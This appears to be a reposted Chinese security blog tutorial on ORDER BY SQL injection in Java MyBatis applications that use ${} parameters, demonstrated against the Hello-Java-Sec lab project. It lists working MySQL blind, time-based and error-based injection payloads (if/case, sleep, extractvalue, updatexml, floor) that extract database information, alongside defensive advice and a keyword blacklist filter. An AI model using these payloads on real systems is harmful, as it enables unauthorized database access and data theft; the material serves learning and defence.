关于Java中order by注入详解

admin 2023年12月7日15:28:17评论12 views字数 3511阅读11分42秒阅读模式

 扫码领资料

获网安教程

免费&进群

关于Java中order by注入详解
关于Java中order by注入详解


起因

因为最近在准备面试的东西,在一天下午面试成都某家公司的时候被问到java的order by注入,当时因为懵了并没有做很好的回答...其实还是因为太过急躁在之前学习SQL注入时并没有深入到代码层面理解各个类型漏洞,造成根基并没有打牢。实际上针对不同类型的漏洞在源码层面有很大的不同,例如php中联合查询一定是存在回显位,即将数据库中查询结果展示;盲注大概率是进行了if判断;报错注入一般存在这类函数print_r(mysql_error())(java中catch (Exception e) { return e.toString(); })等。

order by 注入方式

直接从mybatis框架的注入说起吧

在mybatis中的,使用#包裹的字段在内部进行了预编译处理,而$并没有使用预编译,也就是原生jdbc中
prepareStatement和Statement的区别。
关于order by,当注入点在后面时,是不能连接union的,例如:

select * from users order by user;

关于Java中order by注入详解

关于Java中order by注入详解

在SQL中是不允许union直接跟在order by后面的,所以我们可以考虑使用盲注或报错注入。

利用盲注,也就是看返回值

已知字段

使用if条件句,if(1=1,id,user),if函数三个占位,1=1为表达式,也是后续注入主要利用的地方,表达式为真返回以id排序,为假返回user排序,而真假返回的查询结果是不一样的,所以可以通过这种方式注入。

关于Java中order by注入详解

其他的利用方式还有:

select * from users order by (case when (1=1) then user else id end ); //根据user排序
select * from users order by (case when (1=2) then user else id end ); //根据id排序
select * from users order by ifnull(null,user);
select * from users order by ifnull(null,id);
select * from users order by rand(1=1);
select * from users order by rand(1=2);

未知字段

在实际注入时,可能字段并不是我们提前知道的,那么可能就需要用另外的方式了。

同样以if()为例,只需要改下第三个参数使其查询报错select 1 union select 2,第二个参数也需要改为1(true),之前因为没改导致运行时mysql崩了,甚至连mysql服务都给我干关闭了。。。

关于Java中order by注入详解

同样的方式还有:

select * from users order by if(1=1,1,(select 1 from information_schema.tables)); 
select * from users order by if(1=2,1,(select 1 from information_schema.tables));
select * from users order by (select 1 regexp if(1=1,1,0x00)); //正则表达式
select * from users order by (select 1 regexp if(1=2,1,0x00)); //0x00为空导致报错
select * from users order by (select if((ascii(substr(current,1,1))<0),1,sleep(2)) from (select user() as current) as tb1); //利用sleep延时注入

在使用sleep延时注入需要注意不能直接简单sleep(x),这样实际延时的时间将会是x乘以表内列的字段数量,例如我这里延时2*3秒。
关于Java中order by注入详解

利用报错函数

报错注入的条件是需要服务端代码中将SQL报错语句输出。
主要是利用extractvalue和updatexml
关于Java中order by注入详解

select * from users order by extractvalue(1,(select concat(0x7e,user()))); 
select * from users order by updatexml(1,(select concat(0x7e,user())),1);
select * from users order by (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); //floor报错注入,Duplicate key

安全问题

在mybatis中无论是使用xml或者注解编写SQL语句时,都是推荐结合#使用,因为内部使用了预编译,然而在一些特殊场景我们并不能这般,如在like后直接使用#包裹变量在运行时是会报错的,推荐的写法是concat('%',#{q},'%')
这里推荐一个安全检测插件:MomoSec 可以初步检测一些安全问题
关于Java中order by注入详解
order by 在mybatis中同样不能直接使用#包裹,因为order by后跟的往往是字段名,而预编译在对一个参数使用时会加上引号,字段名是不能加引号的,否则会失去本来的意思;如 order by id ==> order by 'id' ,这也是为什么在排序的位置通常会存在sql注入。
关于order by 并没有很好的解决方案,所以预编译也不是完全安全的,在防御时还应使用其他方法做好防御,如waf和filter。

案例

代码直接使用的这个项目:Hello-Java-Sec

@GetMapping("/vul/order")
public List<User> orderBy(String field, String sort) {
log.info("[vul] mybaits: order by " + field + " " + sort);
return userMapper.orderBy(field, sort);

UserMapper.xml

<select id="orderBy" resultType="com.best.hello.entity.User">
select *
from users
order by ${field} ${sort}
</select>

因为未知列名,使用盲注:结果输出不同
关于Java中order by注入详解
关于Java中order by注入详解
常规的盲注了,python写个脚本即可
关于Java中order by注入详解
上面使用的盲注,springboot项目是默认有报错页面的,所以报错注入也可以
关于Java中order by注入详解
那么代码中是如何防御的呢?
实际上他是在xml中固定化了传入参数,id或user,也就没办法注入了。
关于Java中order by注入详解
但是有个问题,当表内字段很大时我们不可能写很多复杂的匹配判断,所以可以写个filter或waf函数,过滤掉危险字符,所有的用户输入都经过函数过滤也是一种不错的方式。

/**
* SQL注入检测
*/
public static boolean checkSql(String content) {
String[] black_list = {"'", ";", "--", "+", ",", "%", "=", ">", "<", "*", "(", ")", "and", "or", "exec", "insert", "select", "delete", "update", "count", "drop", "chr", "mid", "master", "truncate", "char", "declare"};
for (String s : black_list) {
if (content.toLowerCase().contains(s)) {
return true;
}
}
return false;
}

小结

order by注入一直是容易被面试官问到的点,我也是简单做了总结。
在后期的学习中还是需要多跟着代码走,一味的复现靶场环境好像学到的东西真的挺少的。


来源: https://www.freebuf.com/articles/web/360733.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

关于Java中order by注入详解

hack视频资料及工具

关于Java中order by注入详解

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧




原文始发于微信公众号(白帽子左一):关于Java中order by注入详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月7日15:28:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于Java中order by注入详解https://cn-sec.com/archives/2276319.html

发表评论

匿名网友 填写信息